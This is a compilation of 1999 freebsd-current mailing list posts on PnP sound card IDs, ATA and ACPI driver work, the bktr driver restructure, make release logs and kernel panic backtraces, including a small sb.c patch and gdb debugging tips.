Re: On hub.freebsd.org refusing to talk to dialups

[Brad Knowles]

At 1:31 AM +0100 1999/9/27, Brian Somers wrote:

> An interesting extension:  If an AOL MX receives a message with an
> AOL from address from a non-AOL relay it's accepted for delivery and
> dropped in the bit-bucket.  Well, it's obviously spam (isn't it?) !

This item kept coming up about every three months while I was the 
Internet Mail Systems Administrator for AOL.  Every time it did, we 
shot it down yet once again with the response "You idiot, that will 
break forwarding and mailing lists".

I guess the idiots finally won.

-- 
   These are my opinions -- not to be taken as official Skynet policy
  
|o| Brad Knowles, <[EMAIL PROTECTED]>Belgacom Skynet NV/SA |o|
|o| Systems Architect, News & FTP Admin  Rue Col. Bourg, 124   |o|
|o| Phone/Fax: +32-2-706.11.11/12.49 B-1140 Brussels   |o|
|o| http://www.skynet.be Belgium   |o|
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
  Unix is like a wigwam -- no Gates, no Windows, and an Apache inside.
   Unix is very user-friendly.  It's just picky who its friends are.


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Experimental ACPI driver.

[Doug Rabson]

On Mon, 27 Sep 1999, Mitsuru IWASAKI wrote:

> Hi, Mike.
> # I'm very happy because of your reply :)
> 
> > > > We wrote experimental ACPI driver for 4.0-CURRENT.
> > > 
> > > This was just one week work so its functionallity is very very poor :-)
> > > but I think it is good idea to start with this for developping ACPI
> > > driver for FreeBSD because it is enough small to understand it.
> > 
> > I'm not sure this is the right way to go about it, although I haven't 
> > looked at your code yet.  APCI is a big animal, and I think it's going 
> > to take a proper design to get it right.
> 
> Indeed.  Also I think that this project cannot be achieved easily by
> only one/two person's efforts.  I believe having this kind of prototype
> makes our discussion easier.  We are going to prepare the materials
> for our further discussion.
> 
> > The key components would appear to be a full AML parser, an object 
> > manager to manage the ACPI namespace, and an AML interpreter to run the 
> > AML methods.
> 
> Yes, Yes.
> 
> > > If someone already started wriring ACPI devive driver, please let us
> > > know.  We'd like to merge them and would be happy in collaboration
> > > with you.
> > 
> > Both Doug Rabson and myself have been tinkering with this, and there's 
> > someone that's been looking at an AML parser/interpreter in the last 
> > couple of weeks.  At this point in time, the parser and object manager 
> > are the most vital components.
> 
> Now we got new friends :) Mr. Watanabe is going FreeBSDCon
> (unfortunately I cannot), you can discuss this matter with him.
> I think the time has come to start!
> 
> Thank you very much.

I would very much appreciate talking to Mr. Watanebe at FreeBSDCon and
working on the design for a decent ACPI implementation.

--
Doug Rabson Mail:  [EMAIL PROTECTED]
Nonlinear Systems Ltd.  Phone: +44 181 442 9037




To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Loss of Functionality with newpnp

[Doug Rabson]

On Sun, 26 Sep 1999, Donald J . Maddox wrote:

> On Sun, Sep 26, 1999 at 12:29:46PM -0700, Mike Smith wrote:
> > > 
> > > But we do have a working driver for the AWE64.  Or rather, it worked fine
> > > before the new PnP code was comitted, now it doesn't.  It seems to me that
> > > this indicates a deficiency in the new PnP code.  Isn't that correct?
> > 
> > No.
> > 
> > I have already explained to you that the AWE64 driver that you were 
> > using (one actually of _three_ that we have) only worked with PnP cards 
> > as an accidental side-effect of the old PnP code.  Now that the PnP 
> > code has been fixed, the brokenness of the old driver is exposed.
> 
> Can you give me a few hints on what would be necessary to get the old
> driver to work with the new PnP?  I confess ignorance of both PnP and
> soundcard programming, but I am willing to try to fix it if fixing it
> is within my means.

It requires converting the ancient voxware driver to newbus which isn't
really feasable.

> 
> It's amazing that one of the most popular sound cards of all time, one
> that works fine on practically every OS from DOS3.3 to Linux and BeOS,
> is of no concern to FBSD developers :-/

My AWE64 works just fine. WaveTable support will arrive after the new midi
driver is committed. If you want to test and/or work on that, please talk
to the author, Seigo Tanimura <[EMAIL PROTECTED]>.

--
Doug Rabson Mail:  [EMAIL PROTECTED]
Nonlinear Systems Ltd.  Phone: +44 181 442 9037





To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: New PnP code does not work for me(?)

[Doug Rabson]

On Sun, 26 Sep 1999, Donald J . Maddox wrote:

> I couldn't get my PnP Creative AWE64G to work with the new PnP
> code, so I tried compiling a kernel with pcm instead.  All I get is:
> 
> unknown0:  at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
> unknown1:  at port 0x200-0x207 on isa0
> unknown2:  at port 0x620-0x623 on isa0
> 
> It is my understanding that, with the new PnP code, I should not have to
> specify the ports, IRQs, DMA, etc., right?  Here is the config I used:

It looks like an ID is missing for this card. Try this patch:

Index: sb.c
===
RCS file: /home/ncvs/src/sys/dev/pcm/isa/sb.c,v
retrieving revision 1.23
diff -u -r1.23 sb.c
--- sb.c1999/09/07 08:42:44 1.23
+++ sb.c1999/09/27 09:34:04
@@ -1258,6 +1258,7 @@
case 0x31008c0e: /* CTL0031 */
case 0x41008c0e: /* CTL0041 */
case 0x42008c0e: /* CTL0042 */
+   case 0x44008c0e: /* CTL0044 */
case 0x45008c0e: /* CTL0045 */
s = "SB16 PnP";
break;

--
Doug Rabson Mail:  [EMAIL PROTECTED]
Nonlinear Systems Ltd.  Phone: +44 181 442 9037




To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: New PnP code does not work for me(?)

[Doug Rabson]

On Sun, 26 Sep 1999, Doug wrote:

> Peter Wemm wrote:
> > 
> > "Donald J . Maddox" wrote:
> > > Ok, will do.  Thanks.
> > >
> > > This may be a silly question, but...  The old PnP driver recognized
> > > a lot of devices, including my AWE64.  Isn't there a list of IDs it
> > > was aware of that should be merged into newPnP ASAP?
> > 
> > The old PnP code was matching on the card vendor ID.  The new pnp code
> > treats each logical device on it's own and matches by logical ID.
> 
>   The new architecture sounds like a good thing, but isn't there a way to
> fall back to the old method if the logical device ID isn't found?
> Perhaps with an error message asking the user to report the logical ID
> to [EMAIL PROTECTED]? Of course I'm probably dreaming
> here, but it seems to me that some kind of compromise should be
> possible, since I tend to agree with Donald that "Working before + not
> working now = broken," no matter how much "better" the broken version is
> from the purity standpoint. 

This isn't feasable. Most of these cards are multifunction beasts and
matching the vendor ID instead of the logical ID prevents us from probing
and attaching the other functions (e.g. joystick, midi, ata).

--
Doug Rabson Mail:  [EMAIL PROTECTED]
Nonlinear Systems Ltd.  Phone: +44 181 442 9037




To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Loss of Functionality with newpnp

[Amancio Hasty]

> It requires converting the ancient voxware driver to newbus which isn't
> really feasable.

I am not sure about that ... The irq handling, card registration on the voxware
is fairly straight forward. 

-- 

 Amancio Hasty
 [EMAIL PROTECTED]




To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: New ATA, HPT366 and UDMA66

[Jeroen Ruigrok/Asmodai]

* Soren Schmidt ([EMAIL PROTECTED]) [990927 09:18]:
>It seems Jason Young wrote:
>> 
>> I looked at this yesterday (we just got one in). The HighPoint controller
>> has some specific initialization needs, just like the Promise controller.
>> 
>> I wonder if Soren (sorry, I don't know how to persuade my machine to spell
>> your name correctly) would be interested in one so that he could work on
>> supporting it? I would be happy to send one.. email me privately. 
>
>I have the docs, and have been promised that an Abit HotRot controller be 
>sent to me, but I havn't received it yet. So if you can get one out the
>door asap that would be just fine (I really dont trust that other controller
>to appear anytime soon...), just wrap it in neutral brown paper and
>it should pass customs just fine :)

Søren,

you know I have the possession of a development box with the HPT366,
right? [well you should since I mailed you those timing-tables =P ]

Anyways, as soon as I have enough cash again I will buy an /66 disk
and stuff it on the free controller. Feel free to pester me with
patches ;)

-- 
Jeroen Ruigrok van der Werven/Asmodai  asmodai(at)wxs.nl
The BSD Programmer's Documentation Project 
Network/Security SpecialistBSD: Technical excellence at its best
There is no greater sorrow than to recall, in misery, the time when we
were happy.


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

New structure for the bktr Bt848 driver

[Roger Hardiman]

Hi all,

I've done some major reworking of the Bt848/Bt878 driver in the last few
weeks
and everything is now committed to -current.

The old brooktree848.c file has gone.

It is now replaced by bktr_core.c bktr_audio.c bktr_tuner.c bktr_card.c
and bktr_os.c
which neatly seperate out the main Bt848 code, the audio, tuner and card
detetion code
and the operating system specific things (probe/attach and cdev).

In addition, the new driver now lives in   /sys/dev/bktr


So, those of you using -current, keep an eye out next time you CVSup and
please report any breakages.

I intend to merge the new structure into -stable once I've had enough
feedback (or the usual lack of it to indicate nothing broke)


Roger
--
Roger Hardiman
Strathclyde Uni Telepresence Research Group, Glasgow, Scotland.
http://telepresence.dmem.strath.ac.uk  0141 548 2897
[EMAIL PROTECTED]




To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: New ATA, HPT366 and UDMA66

[Soren Schmidt]

It seems Jeroen Ruigrok/Asmodai wrote:
> 
> you know I have the possession of a development box with the HPT366,
> right? [well you should since I mailed you those timing-tables =P ]

I know :)

> Anyways, as soon as I have enough cash again I will buy an /66 disk
> and stuff it on the free controller. Feel free to pester me with
> patches ;)

Sure, but first I'd like to have one here to do the development on,
I really dont have the time to play it via mail/whatever until
it actually works...

-Soren


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: -current panic w/linux netscape

[Mike Pritchard]

> :I finally saw my first -current panic in more than 5 months (not a bad
> :track record).
> :
> :I have a panic that I can duplicate with a 24 hour old "make world"
> :and a 4 hour old -current kernel.  If I run the linux netscape (installed
> :from ports less than a week ago), the kernel panics in copystr().
> :Minimal gdb output follows.  I'll have to generate a kernel with
> :debug info for more information.
> :
> :The linux netscape worked fine with my old kernel from 9/16.
> :I'm willing to try and track this down, but I hope someone
> :will pop up and have an idea what is wrong.
> :
> :-Mike

I must have caught two badly timed cvsups in a row.  After doing another cvsup
and recompiling/installing a kernel and modules (which I had done before),
everything is working fine.  I usually ignore any glitches after
a fresh "cvsup/make world", except in this case it took me 3 cvsup's
to get a fully-functional system.

I'm still not sure exactly what was out of sync here, but after
examing the crash dump with full symbols, it really looked like something
wasn't in sync (i386/trap.c:syscall() had some very odd values it was trying
to use).

I know how to debug kernels, I just haven't had to do so for such a long
time, so I wasn't prepared :-)  And doing it this time, just reminds
me how lacking gdb is in some respects compared to other kernel debugging 
tools I've used in the past in some areas.  In other areas it is much
better.

Thanks for taking the time to respond.

-Mike

> Compile your kernel with debugging.  In the kernel configuration file
> in /usr/src/sys/i386/conf/YOURCONFIGFILE, add:
> 
>   makeoptions DEBUG="-g"
> 
> Then config the kernel and rebuild.
> 
> When you make install, the non-debug version will be installed and the
> debug version will be sitting in the compile directory as 'kernel.debug'.
> 
> Then reboot, then cause the crash again and get another core (be sure
> to clear out space from /var/crash if necessary).
> 
> Now bring the system up again, and use this for your gdb:
> 
>   cd /var/crash
>   gdb -k /usr/src/sys/compile/YOURCONFIGNAME/kernel.debug vmcore.XX
> 
> And do the 'back' again to get the stack backtrace.  You should see a
> whole lot more information.
> 
>   -Matt
-- 
Mike Pritchard
[EMAIL PROTECTED] or [EMAIL PROTECTED]


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

ata-related crash following notebook resume

[Francis Jordan]

$apm -Z
// going to sleep

//... 10 hours later ...

// key pressed

ata0: resetting devices .. done
ata1: resetting devices ..

Fatal trap 12:  page fault while in kernel mode
fault virtual address   = 0x4
fault code  = supervisor read, page not present
instruction pointer = 0x8:0xc01e6e42
stack pointer   = 0x10:0xc0243028
frame pointer   = 0x10:0xc0243028
code segment= base 0x0, limit 0xf, type 0x1b
= DPL 0, pres 1, def32 1, gran 1
processor eflags= interrupt enabled, resume, IOPL = 0
current process = Idle
interrupt mask  =
trap number = 12
panic:  page fault

syncing disks ... 1 1 1 1 1 1 1 1 1 1 1 1 1 done


$ nm /kernel | grep c01e6e 
c01e6e3c T atapi_reinit

$ dmesg
...
ata-pci0:  at device 1.1 on pci0
ata-pci0: Busmastering DMA supported
ata0 at 0x01f0 irq 14 on ata-pci0
ata1 at 0x0170 irq 15 on ata-pci0
...
ad0:  ATA-4 disk at ata0 as master
ad0: 6194MB (12685680 sectors), 13424 cyls, 15 heads, 63 S/T, 512 B/S
ad0: 16 secs/int, 0 depth queue, UDMA33
Creating DISK ad0
Creating DISK wd0
acd0:  CDROM drive at ata1 as master
acd0: read 4134KB/s (4134KB/s), 128KB buffer, DMA
acd0: supported read types: CD-R, CD-RW, CD-DA
acd0: Audio: play, 256 volume levels
acd0: Mechanism: ejectable tray
acd0: Medium: CD-ROM 120mm photo disc loaded, unlocked
ata_command: timeout waiting for interrupt

(-current kernel dated Fri Sep 24 19:30:18 GMT)

Thank you for your attention.

Frank


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

ATA Driver Problem

[Jeremy L. Stock]

I have two hard drives both Western Digital 8.4GB (primary master) 6.4GB
(primary slave) and a CDROM as secondary master. The driver detects the
8.4GB and my cdrom but doesn't seem to see the second hd at all. I'd provide
more info if I could but / lives on the second drive so I'm not sure if
I can provide any concrete details. I used the config example in LINT for
the driver.

  
-- 
Jeremy L. Stock <[EMAIL PROTECTED]>
ICQ 46329337
Fax # 612-629-6540 



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Beneath The Planet Of The Mondays

[John W. DeBoskey]

   I've been tracking -current for a few years now, and find that
typically it is actually pretty stable. The two items that will
cause trouble are documentation problems, and a kernel/userland
change that I miss.

   I have a system dedicated to building a SNAP everyday at
2am EST (11pm PST). I would be more than happy to set this job
up to mail out the last 100 lines of the build log. As an example
of successful builds for Sept, I have the following :

drwxr-xr-x  20 root  wheel  1024 Sep  8 15:13 4.0-19990908-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 10 12:13 4.0-19990910-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 12 18:22 4.0-19990912-SNAP
drwxr-xr-x  21 root  wheel  1024 Sep 14 11:44 4.0-19990914-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 16 06:40 4.0-19990916-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 17 06:05 4.0-19990917-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 18 06:16 4.0-19990918-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 22 16:30 4.0-19990922-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 24 06:58 4.0-19990924-SNAP
drwxr-xr-x  20 root  wheel  1024 Sep 27 07:06 4.0-19990927-SNAP

   Unfortunately, I have no way of making these SNAPs publicly
available due to the firewall I live behind. If someone can
allocate the space, I can ftp the SNAP out. The above SNAPs have
no local mods in them. Local mods are kept on a seperate system
and applied at installation time.

   Let me know if this would help resolve some of the questions
you might have.

   The tail of the log file for 0927 (with NODOC=YES) is attached
below.

-John

touch release.4
Making fixit floppy.
disklabel: ioctl DIOCWLABEL: Operation not supported by device
Warning: Block size restricts cylinders per group to 6.
Warning: 2432 sector(s) in last cylinder unallocated
/dev/rvn0c: 5760 sectors in 2 cylinders of 1 tracks, 4096 sectors
2.8MB in 1 cyl groups (6 c/g, 12.00MB/g, 1472 i/g)
super-block backups (for fsck -b #) at:
 32
1921 blocks
Filesystem  1K-blocks UsedAvail Capacity iused   ifree  %iused  Mounted on
/dev/vn0c2667  984 147040% 631 83943%   /mnt
>>> Filesystem is 2880 K, 1470 left
>>> 2000 bytes/inode, 839 left
touch release.9
0 blocks
Setting up CDROM distribution area
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
0 blocks
Setting up FTP distribution area
0 blocks
0 blocks
Release done
+ echo make release Finished
make release Finished
---> make world ran 264 min 1 sec
---> Mon Sep 27 07:00:00 EDT 1999 - Creating /pub/FreeBSD/4.0-19990927-SNAP
---> Mon Sep 27 07:06:36 EDT 1999 - build of 4.0-19990927-SNAP was a success.
---> make world/release ran 271 min 0 sec





> Bill Paul wrote:
> > 
> > I realize this is -current and all and mistakes happen, but make
> > release basically constitutes a 'full build' of FreeBSD and if it
> > doesn't work, especially for a whole week, it looks kinda bad.
> 
> Does it? I thought -current wasn't supposed to work at all, except
> by accident, and anyone actually using a functional current ought to
> say their prayers before login in.
> 
> > Unfortunately, when the snapshots on current.freebsd.org fall over,
> > nobody knows exactly what causes the problem except Jordan, and he
> > keeps gnawing through his limbs to excape the traps I set for him.
> 
> Yeah, that he does. :-)
> 
> > When somebody breaks the build at M$, the offender is made to wear
> > a viking hat. I would suggest a similar punishment for those who
> > break our own build, except that I suspect many of you are wearing
> > viking hats already.
> 
> Alas, I think it would be a bad idea. Some people my interpret this
> as "gets to wear a viking hat", ie, in a positive way. :-)
> 
> - --
> Daniel C. Sobral  (8-DCS)
> [EMAIL PROTECTED]
> [EMAIL PROTECTED]
> 
>   Rule 69: Do unto other's code as you'd have it do unto yours
> 
> 
> 
> To Unsubscribe: send mail to [EMAIL PROTECTED]
> with "unsubscribe freebsd-current" in the body of the message
> 
> --
> 



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: ATA Driver Problem

[Soren Schmidt]

It seems Jeremy L. Stock wrote:
> I have two hard drives both Western Digital 8.4GB (primary master) 6.4GB
> (primary slave) and a CDROM as secondary master. The driver detects the
> 8.4GB and my cdrom but doesn't seem to see the second hd at all. I'd provide
> more info if I could but / lives on the second drive so I'm not sure if
> I can provide any concrete details. I used the config example in LINT for
> the driver.

Are you sure you have the latest versions of everything in /sys/dev/ata ??
There was a window of opportunity where I messed up unless ATA_STATIC_ID
was defined...

-Søren


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

ESS1869 logical ID

[Wang Shidong]

Following the suggestion of Mr. Peter Wemm, I manage to get my ESS1869
sound card work again. The attachments are the `dmesg' message and the
`pnpinfo -v' output. I am grateful if the ID can be added.

Thank you very much.

regards,
Wang Shidong


Copyright (c) 1992-1999 The FreeBSD Project.
Copyright (c) 1982, 1986, 1989, 1991, 1993
The Regents of the University of California. All rights reserved.
FreeBSD 4.0-CURRENT #24: Mon Sep 27 23:36:43 CST 1999
[EMAIL PROTECTED]:/usr/src/sys/compile/MYKERNEL
Timecounter "i8254"  frequency 1193182 Hz
CPU: AMD-K6(tm) 3D processor (333.41-MHz 586-class CPU)
  Origin = "AuthenticAMD"  Id = 0x580  Stepping = 0
  Features=0x8001bf
  AMD Features=0x8800
real memory  = 67092480 (65520K bytes)
avail memory = 62431232 (60968K bytes)
Preloaded elf kernel "kernel" at 0xc028c000.
npx0:  on motherboard
npx0: INT 16 interface
apm0:  on motherboard
apm: found APM BIOS v1.2, connected at v1.2
pcib0:  on motherboard
pci0:  on pcib0
pcib1:  at device 1.0 on pci0
pci1:  on pcib1
vga-pci0:  irq 10 at device 0.0 on pci1
chip1:  at device 3.0 on pci0
isab0:  at device 7.0 on pci0
isa0:  on isab0
ed1:  irq 11 at device 11.0 on pci0
ed1: address 00:c0:df:ea:f5:80, type NE2000 (16 bit) 
ide_pci0:  irq 0 at device 15.0 
on pci0
fdc0:  at port 0x3f0-0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
wdc0 at port 0x1f0-0x1f7 irq 14 on isa0
wdc0: unit 0 (wd0): 
wd0: 6149MB (12594960 sectors), 13328 cyls, 15 heads, 63 S/T, 512 B/S
atkbdc0:  at port 0x60-0x6f on isa0
atkbd0:  irq 1 on atkbdc0
psm0:  irq 12 on atkbdc0
psm0: model Generic PS/2 mouse, device ID 0
vga0:  at port 0x3b0-0x3df iomem 0xa-0xb on isa0
sc0:  on isa0
sc0: VGA <16 virtual consoles, flags=0x200>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
unknown0:  on isa0
pcm0:  at port 0x220-0x22f,0x388-0x38b,0x330-0x331 irq 5 drq 1,0 on isa0
unknown1:  at port 0x201 on isa0
unknown2:  at port 0x168-0x16f,0x36e-0x36f irq 9 
on isa0
changing root device to wd0s1a


Checking for Plug-n-Play devices...

Card assigned CSN #1
Vendor ID ESS1869 (0x69187316), Serial Number 0x
PnP Version 1.0, Vendor Version 16
Device Description: ESS ES1869 Plug and Play AudioDrive

Logical Device ID: ESS0006 0x06007316 #0
I/O Range 0x800 .. 0xff8, alignment 0x8, len 0x8
[16-bit addr]

Logical Device ID: ESS1869 0x69187316 #1
TAG Start DF
Good Configuration
DMA: channel(s) 1 
8-bit, not a bus master, count by byte, , Compatibility mode
DMA: channel(s) 0 3 
8-bit, not a bus master, count by byte, , Compatibility mode
IRQ: 5  - only one type (true/edge)
I/O Range 0x220 .. 0x220, alignment 0x0, len 0x10
[16-bit addr]
I/O Range 0x388 .. 0x388, alignment 0x0, len 0x4
[16-bit addr]
I/O Range 0x330 .. 0x330, alignment 0x0, len 0x2
[16-bit addr]
TAG Start DF
Acceptable Configuration
DMA: channel(s) 1 
8-bit, not a bus master, count by byte, , Compatibility mode
DMA: channel(s) 0 3 
8-bit, not a bus master, count by byte, , Compatibility mode
IRQ: 5 7 9 10  - only one type (true/edge)
I/O Range 0x220 .. 0x240, alignment 0x20, len 0x10
[16-bit addr]
I/O Range 0x388 .. 0x388, alignment 0x0, len 0x4
[16-bit addr]
I/O Range 0x300 .. 0x330, alignment 0x30, len 0x2
[16-bit addr]
TAG Start DF
Acceptable Configuration
DMA: channel(s) 0 1 3 
8-bit, not a bus master, count by byte, , Compatibility mode
DMA: channel(s) 0 1 3 
8-bit, not a bus master, count by byte, , Compatibility mode
IRQ: 5 7 9 10 11 12  - only one type (true/edge)
I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
[16-bit addr]
I/O Range 0x388 .. 0x388, alignment 0x0, len 0x4
[16-bit addr]
I/O Range 0x300 .. 0x330, alignment 0x30, len 0x2
[16-bit addr]
TAG Start DF
Acceptable Configuration
DMA: channel(s) 0 1 3 
8-bit, not a bus master, count by byte, , Compatibility mode
DMA: channel(s) 0 1 3 
8-bit, not a bus master, count by byte, , Compatibility mode
IRQ: 5 7 9 10 11 12  - only one type (true/edge)
I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
[16-bit addr]
I/O Range 0x388 .. 0x388, alignment 0x0, len 0x4
[16-bit addr]
I/O Range 0x800 .. 0xffe, alignment 0x2, len 0x2
[16-bit addr]
TAG Start DF
Sub-optimal Configuration
DMA: channel(s) 0 1 3 
8-bit, not a bus master, count by byte, , Compatibility mode
DMA: channel(s) 0 1 3 
8-bit, not a bus master, count by byte, , Compatibility mode
IRQ: 5 7 9 10 11 12  - only one type (true/edge)
I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
[16-bit addr]
I/O Range 0x800 .. 0xffc, alignment 0x4, len 0x4
[16-bit addr]
I/O Range 0x800 .. 0xffe, alignment 0x2, len 0x2
[16-bit a

Re: ATA Driver Problem

[Jeremy L. Stock]

On Mon, 27 Sep 1999, Soren Schmidt wrote:

>It seems Jeremy L. Stock wrote:
>> I have two hard drives both Western Digital 8.4GB (primary master) 6.4GB
>> (primary slave) and a CDROM as secondary master. The driver detects the
>> 8.4GB and my cdrom but doesn't seem to see the second hd at all. I'd provide
>> more info if I could but / lives on the second drive so I'm not sure if
>> I can provide any concrete details. I used the config example in LINT for
>> the driver.
>
>Are you sure you have the latest versions of everything in /sys/dev/ata ??
>There was a window of opportunity where I messed up unless ATA_STATIC_ID
>was defined...
>
>-Søren
>

Fairly positive I have the latest versions. I cvsup'ed twice yesterday. I
forgot to mention my motherboard is an ASUS P5-AB if it matters at all.  

-- 
Jeremy L. Stock <[EMAIL PROTECTED]>
ICQ 46329337
Fax # 612-629-6540 



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: ATA Driver Problem

[Soren Schmidt]

It seems Jeremy L. Stock wrote:
>>Are you sure you have the latest versions of everything in /sys/dev/ata ??
>>There was a window of opportunity where I messed up unless ATA_STATIC_ID
>>was defined...
>>
>>-Søren
>>
>
>Fairly positive I have the latest versions. I cvsup'ed twice yesterday. I
>forgot to mention my motherboard is an ASUS P5-AB if it matters at all.  

Check that you have at least v1.25 of ata-disk.c.
BTW here it works on the same motherboard...

-Søren


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: System crash on "vinum start"

[Brad Chisholm]

> > I'm having a problem where the "vinum start" command crashes my system.
> > This happens regardless of whether it's being issued during bootup via
> > /etc/rc or from the command line on a running system.
> >
> > Interestingly, however, if I issue the start command from the vinum
> > interactive prompt, it works properly with no crash.
> >
> > I'm currently running on a snap built this morning (0924), but it was
> > also happening on a snap from 0914.
> >
> > Crash info, vinum config, and disk info are below.  Let me know if I
> > can provide any additional information.
> 
> Yes.  Please read the instructions in vinum(4) about debugging panic
> dumps.
> 
> I found a minor bug in 'vinum start' recently, but I doubt it's
> causing your problem.  I'll commit it Real Soon Now.
> 

Well, I believe I discovered the source of my problem.  It turns out that 
I did not have the correct devices configured in /dev for the component 
drives.  I had da[0-3]e, but not da[0-3]s1e.  The documentation seemed to
indicate that the da?s1? devices were not required, but once I made them,
the crashes stopped.

It's interesting that I could bring the array up using the 'start'
command from the vinum interactive prompt, and things would work
properly with the missing devices, while issuing a direct 'vinum
start' would cause a panic.

Even though this may have been a stupid user error, it would be nice
if vinum could catch this without a system crash.  To that end, I'm
including an updated traceback from my panic dump which has the vinum
calls included.

Thanks for providing such a useful piece of software!

-Brad

-- Crash dump traceback --

(kgdb) bt
#0  boot (howto=0x100) at ../../kern/kern_shutdown.c:281
#1  0xc0169e80 in poweroff_wait (junk=0xc02fd44f, howto=0xc8af7180) at 
../../kern/kern_shutdown.c:531
#2  0xc0272269 in trap_fatal (frame=0xc94f4b70, eva=0x48) at ../../i386/i386/trap.c:907
#3  0xc0271f41 in trap_pfault (frame=0xc94f4b70, usermode=0x0, eva=0x48) at 
../../i386/i386/trap.c:800
#4  0xc0271beb in trap (frame={tf_fs = 0x10, tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x0, 
tf_esi = 0x200, 
  tf_ebp = 0xc94f4be0, tf_isp = 0xc94f4b9c, tf_ebx = 0x0, tf_edx = 0x0, tf_ecx = 
0x8, tf_eax = 0x0, 
  tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xc018b64b, tf_cs = 0x8, tf_eflags = 
0x10246, tf_esp = 0xc94f4c50, 
  tf_ss = 0x200}) at ../../i386/i386/trap.c:426
#5  0xc018b64b in getblk (vp=0x0, blkno=0x8, size=0x1000, slpflag=0x0, slptimeo=0x0) 
at ../../kern/vfs_bio.c:2109
#6  0xc018995a in bread (vp=0x0, blkno=0x8, size=0x1000, cred=0x0, bpp=0xc94f4c50) at 
../../kern/vfs_bio.c:477
#7  0xc0d65fcf in read_drive (drive=0xc0e28800, buf=0xc0e29000, length=0x2, 
offset=0x1200)
at /usr/src/sys/modules/vinum/../../dev/vinum/vinumio.c:284
#8  0xc0d67072 in vinum_scandisk (devicename=0xc0d70b04, drives=0x5)
at /usr/src/sys/modules/vinum/../../dev/vinum/vinumio.c:959
#9  0xc0d64e6d in parse_config (cptr=0xc0d59000 "read", keyset=0xc0d709d0, update=0x0)
at /usr/src/sys/modules/vinum/../../dev/vinum/vinumconfig.c:1514
#10 0xc0d64ec7 in parse_user_config (cptr=0xc0d59000 "read", keyset=0xc0d709d0)
at /usr/src/sys/modules/vinum/../../dev/vinum/vinumconfig.c:1557
#11 0xc0d6af94 in vinumioctl (dev=0xc0d56480, cmd=0xc4004640, data=0xc0d59000 "read", 
flag=0x3, p=0xc8af7180)
at /usr/src/sys/modules/vinum/../../dev/vinum/vinumioctl.c:110
#12 0xc019dc47 in spec_ioctl (ap=0xc94f4e08) at ../../miscfs/specfs/spec_vnops.c:513
#13 0xc019d4bd in spec_vnoperate (ap=0xc94f4e08) at 
../../miscfs/specfs/spec_vnops.c:124
#14 0xc023ef09 in ufs_vnoperatespec (ap=0xc94f4e08) at ../../ufs/ufs/ufs_vnops.c:2313
#15 0xc0197f20 in vn_ioctl (fp=0xc0d29100, com=0xc4004640, data=0xc0d59000 "read", 
p=0xc8af7180) at vnode_if.h:395
#16 0xc0176fcb in ioctl (p=0xc8af7180, uap=0xc94f4f80) at ../../sys/file.h:166
#17 0xc02724a6 in syscall (frame={tf_fs = 0x2f, tf_es = 0x2f, tf_ds = 0x2f, tf_edi = 
0x5, tf_esi = 0xbfbfc808, 
  tf_ebp = 0xbfbfcc08, tf_isp = 0xc94f4fd4, tf_ebx = 0x5, tf_edx = 0x808cc25, 
tf_ecx = 0xbfbfc839, tf_eax = 0x36, 
  tf_trapno = 0xc, tf_err = 0x2, tf_eip = 0x806bc0c, tf_cs = 0x1f, tf_eflags = 
0x246, tf_esp = 0xbfbfc7e8, 
  tf_ss = 0x2f}) at ../../i386/i386/trap.c:1056
#18 0xc02654c6 in Xint0x80_syscall ()
#19 0x804cbc7 in ?? ()
#20 0x8048492 in ?? ()
#21 0x80482fd in ?? ()
#22 0x80480e9 in ?? ()


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: ATA Driver Problem

[Jeremy L. Stock]

On Mon, 27 Sep 1999, Soren Schmidt wrote:

